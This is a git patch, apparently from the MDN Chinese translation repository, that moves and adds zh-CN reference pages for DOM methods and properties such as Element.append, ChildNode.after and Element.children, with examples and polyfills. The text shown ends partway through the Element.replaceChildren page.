From b9afb23d12dcae1e09f8d04c72143c5ddaa34aea Mon Sep 17 00:00:00 2001 From: Peter Bengtsson Date: Fri, 16 Jul 2021 16:27:00 -0400 Subject: delete conflicting/orphaned docs (zh-CN) (#1412) * delete conflicting docs (zh-CN) * and redirects * do orphaned as well * fix * remove more orphans * revert orphaned docs that can identify origin * move orphaned docs to current loc * adjust slug path * fix redirect change from rebase Co-authored-by: Irvin --- files/zh-cn/web/api/domlocator/index.html | 51 ++++++ files/zh-cn/web/api/element/after/index.html | 176 +++++++++++++++++++ files/zh-cn/web/api/element/append/index.html | 148 ++++++++++++++++ files/zh-cn/web/api/element/before/index.html | 188 +++++++++++++++++++++ .../web/api/element/childelementcount/index.html | 15 +- files/zh-cn/web/api/element/children/index.html | 123 ++++++++++++++ .../web/api/element/firstelementchild/index.html | 101 +++++++++++ .../web/api/element/lastelementchild/index.html | 99 +++++++++++ files/zh-cn/web/api/element/prepend/index.html | 134 +++++++++++++++ files/zh-cn/web/api/element/remove/index.html | 96 +++++++++++ .../web/api/element/replacechildren/index.html | 170 +++++++++++++++++++ files/zh-cn/web/api/element/replacewith/index.html | 112 ++++++++++++ files/zh-cn/web/api/htmlelement/nonce/index.html | 62 +++++++ files/zh-cn/web/api/renderingcontext/index.html | 30 ++++ .../zh-cn/web/api/response/arraybuffer/index.html | 150 ++++++++++++++++ files/zh-cn/web/api/response/blob/index.html | 142 ++++++++++++++++ files/zh-cn/web/api/response/body/index.html | 94 +++++++++++ files/zh-cn/web/api/response/bodyused/index.html | 142 ++++++++++++++++ files/zh-cn/web/api/response/formdata/index.html | 132 +++++++++++++++ files/zh-cn/web/api/response/json/index.html | 91 ++++++++++ files/zh-cn/web/api/response/text/index.html | 88 ++++++++++ 21 files changed, 2339 insertions(+), 5 deletions(-) create mode 100644 files/zh-cn/web/api/domlocator/index.html create mode 100644 files/zh-cn/web/api/element/after/index.html create mode 100644 files/zh-cn/web/api/element/append/index.html create mode 100644 files/zh-cn/web/api/element/before/index.html create mode 100644 files/zh-cn/web/api/element/children/index.html create mode 100644 files/zh-cn/web/api/element/firstelementchild/index.html create mode 100644 files/zh-cn/web/api/element/lastelementchild/index.html create mode 100644 files/zh-cn/web/api/element/prepend/index.html create mode 100644 files/zh-cn/web/api/element/remove/index.html create mode 100644 files/zh-cn/web/api/element/replacechildren/index.html create mode 100644 files/zh-cn/web/api/element/replacewith/index.html create mode 100644 files/zh-cn/web/api/htmlelement/nonce/index.html create mode 100644 files/zh-cn/web/api/renderingcontext/index.html create mode 100644 files/zh-cn/web/api/response/arraybuffer/index.html create mode 100644 files/zh-cn/web/api/response/blob/index.html create mode 100644 files/zh-cn/web/api/response/body/index.html create mode 100644 files/zh-cn/web/api/response/bodyused/index.html create mode 100644 files/zh-cn/web/api/response/formdata/index.html create mode 100644 files/zh-cn/web/api/response/json/index.html create mode 100644 files/zh-cn/web/api/response/text/index.html (limited to 'files/zh-cn/web/api') diff --git a/files/zh-cn/web/api/domlocator/index.html b/files/zh-cn/web/api/domlocator/index.html new file mode 100644 index 0000000000..77ad2f17bb --- /dev/null +++ b/files/zh-cn/web/api/domlocator/index.html @@ -0,0 +1,51 @@ +--- +title: DOMLocator +slug: orphaned/Web/API/DOMLocator +translation_of: Web/API/DOMLocator +original_slug: Web/API/DOMLocator +--- +

{{APIRef("DOM")}}{{obsolete_header}}

+ +
+

NOTE: This is not implemented in Mozilla

+
+ +

Indicates a location such as where an error occurred. Returned by DOMError.location.

+ +

Properties

+ +
+
{{domxref("DOMLocator.lineNumber")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.columnNumber")}}  {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.byteOffset")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.utf16Offset")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.relatedNode")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
{{domxref("DOMLocator.uri")}} {{ReadOnlyInline}}
+
Returns a positiove integer or -1.
+
+ +

Methods

+ +

This interface neither implements, nor inherits, any method.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#Interfaces-DOMLocator", "DOMLocator")}}{{Spec2("DOM3 Core")}}Initial definition
\ No newline at end of file diff --git a/files/zh-cn/web/api/element/after/index.html b/files/zh-cn/web/api/element/after/index.html new file mode 100644 index 0000000000..76792e7638 --- /dev/null +++ b/files/zh-cn/web/api/element/after/index.html @@ -0,0 +1,176 @@ +--- +title: ChildNode.after() +slug: orphaned/Web/API/ChildNode/after +translation_of: Web/API/ChildNode/after +original_slug: Web/API/ChildNode/after +--- +
{{APIRef("DOM")}}
+ +

ChildNode.after() 方法会在其父节点的子节点列表中插入一些 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。插入位置为该节点之后。{{domxref("DOMString")}} 对象会被以 {{domxref("Text")}} 的形式插入。

+ +

语法

+ +
[Throws, Unscopable]
+void ChildNode.after((Node or DOMString)... nodes);
+
+ +

参数

+ +
+
nodes
+
一组准备插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 。
+
+ +

错误

+ + + +

示例

+ +

插入元素

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.after(span);
+
+console.log(parent.outerHTML);
+// "<div><p></p><span></span></div>"
+
+ +

插入文本

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.after("Text");
+
+console.log(parent.outerHTML);
+// "<div><p></p>Text</div>"
+ +

同时插入元素和文本

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.after(span, "Text");
+
+console.log(parent.outerHTML);
+// "<div><p></p><span></span>Text</div>"
+ +

ChildNode.after() 会被 with 环境排除

+ +

after() 方法不在 with 环境的范围内，可以查看 {{jsxref("Symbol.unscopables")}} 来了解更多信息。

+ +
with(node) {
+  after("foo");
+}
+// ReferenceError: after is not defined
+ +

Polyfill

+ +

You can polyfill the after() method in Internet Explorer 9 and higher with the following code:

+ +
// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/after()/after().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('after')) {
+      return;
+    }
+    Object.defineProperty(item, 'after', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function after() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this.nextSibling);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

Another polyfill

+ +
// from: https://github.com/FabioVergani/js-Polyfill_Element.prototype.after/blob/master/after.js
+
+(function(x){
+ var o=x.prototype,p='after';
+ if(!o[p]){
+    o[p]=function(){
+     var e, m=arguments, l=m.length, i=0, t=this, p=t.parentNode, n=Node, s=String, d=document;
+     if(p!==null){
+        while(i<l){
+         e=m[i];
+         if(e instanceof n){
+            t=t.nextSibling;
+            if(t!==null){
+                p.insertBefore(e,t);
+            }else{
+                p.appendChild(e);
+            };
+         }else{
+            p.appendChild(d.createTextNode(s(e)));
+         };
+         ++i;
+        };
+     };
+    };
+ };
+})(Element);
+
+
+
+/*
+minified:
+
+(function(x){
+ var o=x.prototype;
+ o.after||(o.after=function(){var e,m=arguments,l=m.length,i=0,t=this,p=t.parentNode,n=Node,s=String,d=document;if(p!==null){while(i<l){((e=m[i]) instanceof n)?(((t=t.nextSibling )!==null)?p.insertBefore(e,t):p.appendChild(e)):p.appendChild(d.createTextNode(s(e)));++i;}}});
+}(Element));
+*/
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-childnode-after', 'ChildNode.after()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.ChildNode.after")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/append/index.html b/files/zh-cn/web/api/element/append/index.html new file mode 100644 index 0000000000..00d22e2232 --- /dev/null +++ b/files/zh-cn/web/api/element/append/index.html @@ -0,0 +1,148 @@ +--- +title: Element.append() +slug: Web/API/Element/append +translation_of: Web/API/Element/append +tags: + - API + - DOM + - Method + - Node + - Element + - Reference +browser-compat: api.Element.append +--- +
{{APIRef("DOM")}}
+ +
 Element.append 方法在 Element的最后一个子节点之后插入一组 {{domxref("Node")}} 对象或 {{domxref("DOMString")}} 对象。
+ +
被插入的 {{domxref("DOMString")}} 对象等价为 {{domxref("Text")}} 节点。
+ +
+ +
与 {{domxref("Node.appendChild()")}} 的差异：
+ +
+ + + +

语法

+ +
[Throws, Unscopable]
+void Element.append((Node or DOMString)... nodes);
+
+ +

参数

+ +
+
nodes
+
一组要插入的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。
+
+ +

异常

+ + + +

示例

+ +

插入一个元素节点

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ <p> ]
+
+ +

插入文本

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+
+console.log(parent.textContent); // "Some text"
+ +

插入一个节点，同时插入一些文本

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

Element.append() 方法在 with 语句中不生效

+ +

为了保证向后兼容，append 方法在 with 语句中会被特殊处理，详情请看 {{jsxref("Symbol.unscopables")}}。

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined
+ +

Polyfill

+ +

下面的 Polyfill 只支持到 IE 9  及以上：

+ +
// Source: https://github.com/jserz/js_piece/blob/master/DOM/Element/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-Element-append', 'Element.append()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容

+ + + +

{{Compat("api.Element.append")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/before/index.html b/files/zh-cn/web/api/element/before/index.html new file mode 100644 index 0000000000..add3dab015 --- /dev/null +++ b/files/zh-cn/web/api/element/before/index.html @@ -0,0 +1,188 @@ +--- +title: ChildNode.before() +slug: orphaned/Web/API/ChildNode/before +tags: + - api、dom、节点、方法 +translation_of: Web/API/ChildNode/before +original_slug: Web/API/ChildNode/before +--- +
{{APIRef("DOM")}} {{SeeCompatTable}}
+ +

 ChildNode.before 方法可以在ChildNode这个节点的父节点中插入一些列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} 对象，位置就是在ChildNode节点的前面，{{domxref("DOMString")}} 对象其实和 {{domxref("Text")}}节点一样的方式来完成插入的。

+ +

语法

+ +
[Throws, Unscopable]
+void ChildNode.before((Node or DOMString)... nodes);
+
+ +

Parameters参数

+ +
+
nodes
+
一系列的 {{domxref("Node")}} 或者 {{domxref("DOMString")}} 
+
+ +

Exceptions

+ + + +

Examples事例

+ +

Inserting an element插入元素节点

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span);
+
+console.log(parent.outerHTML);
+// "<div><span></span><p></p></div>"
+
+ +

Inserting text插入文本节点

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+
+child.before("Text");
+
+console.log(parent.outerHTML);
+// "<div>Text<p></p></div>"
+ +

Inserting an element and text同时插入文本和元素

+ +
var parent = document.createElement("div");
+var child = document.createElement("p");
+parent.appendChild(child);
+var span = document.createElement("span");
+
+child.before(span, "Text");
+
+console.log(parent.outerHTML);
+// "<div><span></span>Text<p></p></div>"
+ +

ChildNode.before() is unscopable不可使用区域

+ +

The before() 不能配合with声明使用，See {{jsxref("Symbol.unscopables")}} for more information.

+ +
with(node) {
+  before("foo");
+}
+// ReferenceError: before is not defined
+ +

Polyfill

+ +

兼容ie9或者更高版本的方法，You can polyfill the before() method in Internet Explorer 9 and higher with the following code:

+ +
// from: https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/before()/before().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('before')) {
+      return;
+    }
+    Object.defineProperty(item, 'before', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function before() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.parentNode.insertBefore(docFrag, this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

Specification

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-childnode-before', 'ChildNode.before()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Browser compatibility

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(54.0)}}{{CompatGeckoDesktop(49)}}{{CompatUnknown}}{{CompatOpera(39)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatGeckoMobile(49)}}{{CompatUnknown}}{{CompatOpera(39)}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/childelementcount/index.html b/files/zh-cn/web/api/element/childelementcount/index.html index 11a680d8a0..8981c4ad50 100644 --- a/files/zh-cn/web/api/element/childelementcount/index.html +++ b/files/zh-cn/web/api/element/childelementcount/index.html @@ -1,15 +1,20 @@ --- -title: ParentNode.childElementCount +title: Element.childElementCount slug: Web/API/Element/childElementCount -translation_of: Web/API/ParentNode/childElementCount -original_slug: Web/API/ParentNode/childElementCount +translation_of: Web/API/Element/childElementCount +tags: + - API + - DOM + - Property + - Reference +browser-compat: api.Element.childElementCount ---

{{ APIRef("DOM") }} 

-

 ParentNode.childElementCount 只读属性返回一个无符号长整型数字，表示给定元素的子元素数。

+

 Element.childElementCount 只读属性返回一个无符号长整型数字，表示给定元素的子元素数。

-

This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, childElementCount moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.

+

This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("Element")}} and {{domxref("ChildNode")}}. In this case, childElementCount moved to {{domxref("Element")}}. This is a fairly technical change that shouldn't affect compatibility.

 

diff --git a/files/zh-cn/web/api/element/children/index.html b/files/zh-cn/web/api/element/children/index.html new file mode 100644 index 0000000000..9690827104 --- /dev/null +++ b/files/zh-cn/web/api/element/children/index.html @@ -0,0 +1,123 @@ +--- +title: Element.children +slug: Web/API/Element/children +translation_of: Web/API/Element/children +tags: + - API + - DOM + - Element + - HTMLCollection + - Property + - children +browser-compat: api.Element.children +--- +

{{ APIRef("DOM") }}

+ +

Element.children 是一个只读属性，返回 一个Node的子{{domxref("Element","elements")}} ，是一个动态更新的 {{domxref("HTMLCollection")}}。

+ +

语法

+ +
var children = node.children;
+ +
var elList = elementNodeReference.children;
+
+ +

备注

+ +

children 属性为只读属性，对象类型为 {{ domxref("HTMLCollection") }}，你可以使用 elementNodeReference.children[1].nodeName 来获取某个子元素的标签名称。

+ +

例子

+ +
// parg是一个指向<p>元素的对象引用
+if (parg.childElementCount)
+// 检查这个<p>元素是否有子元素
+// 译者注:childElementCount有兼容性问题
+ {
+   var children = parg.children;
+   for (var i = 0; i < children.length; i++)
+   {
+   // 通过children[i]来获取每个子元素
+   // 注意:List是一个live的HTMLCollection对象,在这里添加或删除parg的子元素节点,都会立即改变List的值.
+   };
+ };
+
+ +

规范

+ +

 

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-Element-children', 'Element.children')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support13.59 (IE6-8 incl commend nodes)104
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}​
+
+ +

[1] Internet Explorer 6 - 8 支持该属性，但是可能会错误地包含注释 {{domxref("Comment")}} 节点。

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/element/firstelementchild/index.html b/files/zh-cn/web/api/element/firstelementchild/index.html new file mode 100644 index 0000000000..dbbc7868e1 --- /dev/null +++ b/files/zh-cn/web/api/element/firstelementchild/index.html @@ -0,0 +1,101 @@ +--- +title: Element.firstElementChild +slug: Web/API/Element/firstElementChild +translation_of: Web/API/Element/firstElementChild +tags: + - API + - DOM + - Element + - Property +browser-compat: api.Element.firstElementChild +--- +

{{ APIRef("DOM") }}

+ +

Element.firstElementChild 只读属性，返回对象的第一个子 {{domxref("元素")}}, 如果没有子元素，则为null。

+ +
+

他的属性最初是在{{domxref("element遍历")}}纯接口中定义的。由于这个接口包含两组不同的属性，一个针对具有子元素的{{domxref("Node")}}，一个针对子元素的属性，因此它们被移动到两个单独的纯接口中，{{domxref("Element")}}和{{domxref("ChildNode")}}。在本例中，firstElementChild移动到{{domxref("Element")}}。这是一个相当技术性的更改，不应该影响兼容性。

+
+ +

语法

+ +
var element = node.firstElementChild;
+
+ +

例子

+ +
<ul id="foo">
+  <li>First  (1)</li>
+  <li>Second (2)</li>
+  <li>Third  (3)</li>
+</ul>
+
+<script>
+var foo = document.getElementById('foo');
+// yields: First  (1)
+console.log(foo.firstElementChild.textContent);
+</script>
+
+ +

适用于 IE8、IE9 和 Safari 的 Polyfill

+ +
// Overwrites native 'firstElementChild' prototype.
+// Adds Document & DocumentFragment support for IE9 & Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &&
+        constructor.prototype &&
+        constructor.prototype.firstElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'firstElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = 0;
+                while (node = nodes[i++]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-Element-firstelementchild', 'Element.firstElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversalinterface in {{domxref("ChildNode")}} and Element. This method is now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}{{Spec2('Element Traversal')}}Added its initial definition to theElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.firstElementChild")}}

+ +

参见

+ +

Ed

+ + diff --git a/files/zh-cn/web/api/element/lastelementchild/index.html b/files/zh-cn/web/api/element/lastelementchild/index.html new file mode 100644 index 0000000000..21a33fd6b6 --- /dev/null +++ b/files/zh-cn/web/api/element/lastelementchild/index.html @@ -0,0 +1,99 @@ +--- +title: Element.lastElementChild +slug: Web/API/Element/lastElementChild +translation_of: Web/API/Element/lastElementChild +tags: + - API + - DOM + - Element + - Property +browser-compat: api.Element.lastElementChild +--- +

{{ APIRef("DOM") }}

+ +

只读属性 Element.lastElementChild 返回对象的最后一个子{{domxref("Element", "元素")}}，如果没有子元素，则返回 null。

+ +
+

This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("Element")}} and {{domxref("ChildNode")}}. In this case, lastElementChild moved to {{domxref("Element")}}. This is a fairly technical change that shouldn't affect compatibility.

+
+ +

语法

+ +
var element = node.lastElementChild;
+ +

例子

+ +
<ul id="foo">
+  <li>First  (1)</li>
+  <li>Second (2)</li>
+  <li>Third  (3)</li>
+</ul>
+
+<script>
+var foo = document.getElementById('foo');
+// yields: Third  (3)
+console.log(foo.lastElementChild.textContent);
+</script>
+
+ +

适用于 IE8、IE9 和 Safari 的 Polyfill

+ +
// Overwrites native 'lastElementChild' prototype.
+// Adds Document & DocumentFragment support for IE9 & Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &&
+        constructor.prototype &&
+        constructor.prototype.lastElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'lastElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = nodes.length - 1;
+                while (node = nodes[i--]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('DOM WHATWG', '#dom-Element-lastelementchild', 'Element.lastElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ChildNode")}} and Element. This method is now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Element.lastElementChild")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/prepend/index.html b/files/zh-cn/web/api/element/prepend/index.html new file mode 100644 index 0000000000..eb7edc31cd --- /dev/null +++ b/files/zh-cn/web/api/element/prepend/index.html @@ -0,0 +1,134 @@ +--- +title: Element.prepend() +slug: Web/API/Element/prepend +translation_of: Web/API/Element/prepend +tags: + - API + - DOM + - Method + - Node + - Element + - Reference + - prepend +browser-compat: api.Element.prepend +--- +
{{APIRef("DOM")}}
+ +

Element.prepend 方法可以在父节点的第一个子节点之前插入一系列{{domxref("Node")}}对象或者{{domxref("DOMString")}}对象。{{domxref("DOMString")}}会被当作{{domxref("Text")}}节点对待（也就是说插入的不是HTML代码）。

+ +

语法

+ +
Element.prepend((Node or DOMString)... nodes);
+
+ +

参数

+ +
+
nodes
+
要插入的一系列{{domxref("Node")}}或者{{domxref("DOMString")}}。
+
+ +

返回值

+ +

undefined.

+ +

错误

+ + + +

例子

+ +

Prepending an element

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ <span>, <p> ]
+
+ +

Prepending text

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"
+ +

Appending an element and text

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

Element.prepend() is unscopable

+ +

prepend()不能在with语句内使用，详情参考{{jsxref("Symbol.unscopables")}}。

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined
+ +

Polyfill

+ +

使用下面的代码在IE9或更高版本中模拟prepend()方法：

+ +
// from: https://github.com/jserz/js_piece/blob/master/DOM/Element/prepend()/prepend().md
+(function (arr) {
+    arr.forEach(function (item) {
+        item.prepend = item.prepend || function () {
+            var argArr = Array.prototype.slice.call(arguments),
+                docFrag = document.createDocumentFragment();
+
+            argArr.forEach(function (argItem) {
+                var isNode = argItem instanceof Node;
+                docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+            });
+
+            this.insertBefore(docFrag, this.firstChild);
+        };
+    });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

说明

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-Element-prepend', 'Element.prepend()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

兼容性

+ + + +

{{Compat("api.Element.prepend")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/element/remove/index.html b/files/zh-cn/web/api/element/remove/index.html new file mode 100644 index 0000000000..b60cab7a0c --- /dev/null +++ b/files/zh-cn/web/api/element/remove/index.html @@ -0,0 +1,96 @@ +--- +title: ChildNode.remove() +slug: orphaned/Web/API/ChildNode/remove +tags: + - API + - ChildNode + - DOM + - Method +translation_of: Web/API/ChildNode/remove +original_slug: Web/API/ChildNode/remove +--- +

{{APIRef("DOM")}}

+ +

ChildNode.remove() 方法，把对象从它所属的 DOM 树中删除。

+ +

语法

+ +
node.remove();
+ +

示例

+ +

使用 remove()

+ +
<div id="div-01">Here is div-01</div>
+<div id="div-02">Here is div-02</div>
+<div id="div-03">Here is div-03</div>
+
+ +
var el = document.getElementById('div-02');
+el.remove();
+// id 为 'div-02' 的 div 被删掉了
+
+ +

{{EmbedLiveSample('使用_remove()')}}

+ +

ChildNode.remove() 是不可见的

+ +

在 with 语句中，remove() 方法是不可见的。参阅 {{jsxref("Symbol.unscopables")}} 了解更多信息。

+ +
with(node) {
+  remove();
+}
+// ReferenceError: remove is not defined
+ +

Polyfill

+ +

You can polyfill the remove() method in Internet Explorer 9 and higher with the following code:

+ +
//https://github.com/jserz/js_piece/blob/master/DOM/ChildNode/remove()/remove().md
+(function (arr) {
+   arr.forEach(function (item) {
+    if (item.hasOwnProperty('remove')) {
+      return;
+    }
+    Object.defineProperty(item, 'remove', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function remove() {
+        this.parentNode.removeChild(this);
+      }
+    });
+  });
+})([Element.prototype, CharacterData.prototype, DocumentType.prototype]);
+ +

规范

+ + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#dom-childnode-remove', 'ChildNode.remove')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.ChildNode.remove")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/element/replacechildren/index.html b/files/zh-cn/web/api/element/replacechildren/index.html new file mode 100644 index 0000000000..c15e75961e --- /dev/null +++ b/files/zh-cn/web/api/element/replacechildren/index.html @@ -0,0 +1,170 @@ +--- +title: Element.replaceChildren() +slug: Web/API/Element/replaceChildren +translation_of: Web/API/Element/replaceChildren +tags: + - API + - DOM + - Method + - Node + - Element + - Reference + - replaceChildren +browser-compat: api.Element.replaceChildren +--- +
{{APIRef("DOM")}}{{seecompattable}}
+ +

Element.replaceChildren() 方法将一个 {{domxref("Node")}} 的后代替换为指定的后代集合。这些新的后代可以为 {{domxref("DOMString")}} 或 {{domxref("Node")}} 对象。

+ +

语法

+ +
// [Throws, Unscopable]
+Element.replaceChildren(...nodesOrDOMStrings) // 返回 undefined
+
+ +

参数

+ +
+
nodesOrDOMStrings
+
一组用于替换 Element 现有后代的 {{domxref("Node")}} 或 {{domxref("DOMString")}} 对象。若没有指定替代对象时，Element 的所有后代都将被清空。
+
+ +

异常

+ + + +

例子

+ +

清空一个节点

+ +

replaceChildren() 为清空一个节点的后代提供了非常方便的机制，您只需在父节点不指定任何实参调用该方法即可。

+ +
myNode.replaceChildren();
+ +

在父节点之间转移节点

+ +

replaceChildren() 允许您更轻松地在父节点之间转移节点，而无需依赖冗余的循环代码。例如，有一个简单的应用程序让您选择您派对上的食物。它的 HTML 可能如下：

+ +
<h2>派对食物列表</h2>
+
+<main>
+  <div>
+    <label for="no">不，谢谢了！</label>
+
+    <select id="no" multiple size="10">
+      <option>苹果</option>
+      <option>橘子</option>
+      <option>葡萄</option>
+      <option>香蕉</option>
+      <option>奇异果</option>
+      <option>巧克力饼干</option>
+      <option>花生饼干</option>
+      <option>巧克力棒</option>
+      <option>火腿三明治</option>
+      <option>乳酪三明治</option>
+      <option>沙拉三明治</option>
+      <option>冰淇淋</option>
+      <option>果冻</option>
+      <option>胡萝卜和鹰嘴豆泥</option>
+      <option>玛格丽特披萨</option>
+      <option>腊肠比萨</option>
